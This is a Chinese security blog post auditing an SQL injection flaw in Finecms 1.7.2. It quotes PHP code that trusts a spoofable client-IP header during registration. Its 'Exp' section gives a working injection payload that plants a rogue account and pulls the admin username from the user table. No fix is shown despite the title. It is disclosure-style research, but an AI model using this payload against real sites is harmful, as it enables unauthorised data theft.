您的位置 » 首页 » 代码审计,实用工具 » 代码审计:Finecms 1.7.2注射漏洞及修复

代码审计:Finecms 1.7.2注射漏洞及修复

发表于5年前 | 作者: seay | 分类: 代码审计, 实用工具 | 孵化于:2012年11月24日 | 文章热度:5,298 次 全屏阅读

显示不全请点击全屏阅读

漏洞文件:Client.Class.php29行处

 
public static function get_user_ip() {
 
if(getenv(‘HTTP_CLIENT_IP’) && strcasecmp(getenv(‘HTTP_CLIENT_IP’), ‘unknown’)) {
 
$onlineip = getenv(‘HTTP_CLIENT_IP’);
 
} elseif(getenv(‘HTTP_X_FORWARDED_FOR’) && strcasecmp(getenv(‘HTTP_X_FORWARDED_FOR’), ‘unknown’)) {
 
$onlineip = getenv(‘HTTP_X_FORWARDED_FOR’);
 
} elseif(getenv(‘REMOTE_ADDR’) && strcasecmp(getenv(‘REMOTE_ADDR’), ‘unknown’)) {
 
$onlineip = getenv(‘REMOTE_ADDR’);
 
} elseif(isset($_SERVER[‘REMOTE_ADDR’]) && $_SERVER[‘REMOTE_ADDR’] && strcasecmp($_SERVER[‘REMOTE_ADDR’], ‘unknown’)) {
 
$onlineip = $_SERVER[‘REMOTE_ADDR’];
 
}
 
return $onlineip;
 
}
www.2cto.com
/* 显然可以伪造一个client_ip进行注入 */RegsiterController.php 145行处
 
private function reg($data) {
 
if (empty($data)) return false;
 
$data[‘groupid’] = 1;
 
$data[‘regdate’] = time();
 
$data[‘regip’] = client::get_user_ip();//使用了get_user_ip的方法,漏洞就此产生.
 
$data[‘status’] = $this->memberconfig[‘status’] ? 0 : 1;
 
$data[‘modelid’] = (!isset($data[‘modelid’]) || empty($data[‘modelid’])) ? $this->memberconfig[‘modelid’] : $data[‘modelid’];
 
if (!isset($this->membermodel[$data[‘modelid’]])) $this->memberMsg(‘会员模型不存在,请联系管理员。’);
 
if ($this->memberconfig[‘uc_use’] == 1) {
 
if (uc_get_user($data[‘username’])) {
 
$this->memberMsg(‘该用户无需注册,请直接登录激活!’, url(‘member/login’), 1);
 
}
 
$uid = uc_user_register($data[‘username’], $data[‘password’], $data[’email’]);
 
if ($uid <= 0) {
 
if ($uid == -1) {
 
$this->memberMsg(‘用户名不合法’);
 
} elseif($uid == -2) {
 
$this->memberMsg(‘包含要允许注册的词语’);
 
} elseif($uid == -3) {
 
$this->memberMsg(‘用户名已经存在’);
 
} elseif($uid == -4) {
 
$this->memberMsg(‘Email 格式有误’);
 
} elseif($uid == -5) {
 
$this->memberMsg(‘Email 不允许注册’);
 
} elseif($uid == -6) {
 
$this->memberMsg(‘该 Email 已经被注册’);
 
} else {
 
$this->memberMsg(‘未定义’);
 
}
 
} else {
 
$username = $data[‘username’];
 
}
 
}
 
$data[‘password’] = md5($data[‘password’]);
 
$userid = $this->member->insert($data);
 
return $userid;
 
}Exp:

提交用户注册的时候,伪造一个client_ip,内容如下:
sb’,’1′,’6′),(‘hell’,’1b192f49ddec03d0c7e777d3e578cebf’,(select username from fn_user where userid=1),’1′,’11111′,’sbd’,’1′,’6′)#
成功之后,登陆用户:hell,密码:sbdan. 邮箱处就有管理员的user了
 
作者:desperado

Tags:

Finecms漏洞,

如果您喜欢我的博客,欢迎点击图片定订阅到邮箱填写您的邮件地址,订阅我们的精彩内容: 也可以点击链接【订阅到鲜果】

如果我的想法或工具帮助到了你,也可微信扫下方二维码打赏本人一杯咖啡


来自 Seay互联网安全博客
本文地址:http://www.cnseay.com/1735/
文章版权说明请看置顶文章,尊重作者,转载请以链接形式标明原文地址

马上分享给你的朋友吧~

已经有2个筒子的人留下了脚印...

  • Desperado 说:
    1楼
    2012 年 11 月 28 日 下午 5:44 回复

    著名下作者:desperado, 顺便交换下友情链接.www.arpman.com

    • 【管理员】seay 说:
      2012 年 11 月 28 日 下午 7:48 回复

      OK,好的,这个文章是在门户站转载的,所有没有作者信息,关于文章版权说明请看首页置顶文章,感谢支持

发表评论

你的大名(必填)

你的邮箱(必填)

评论内容(必填)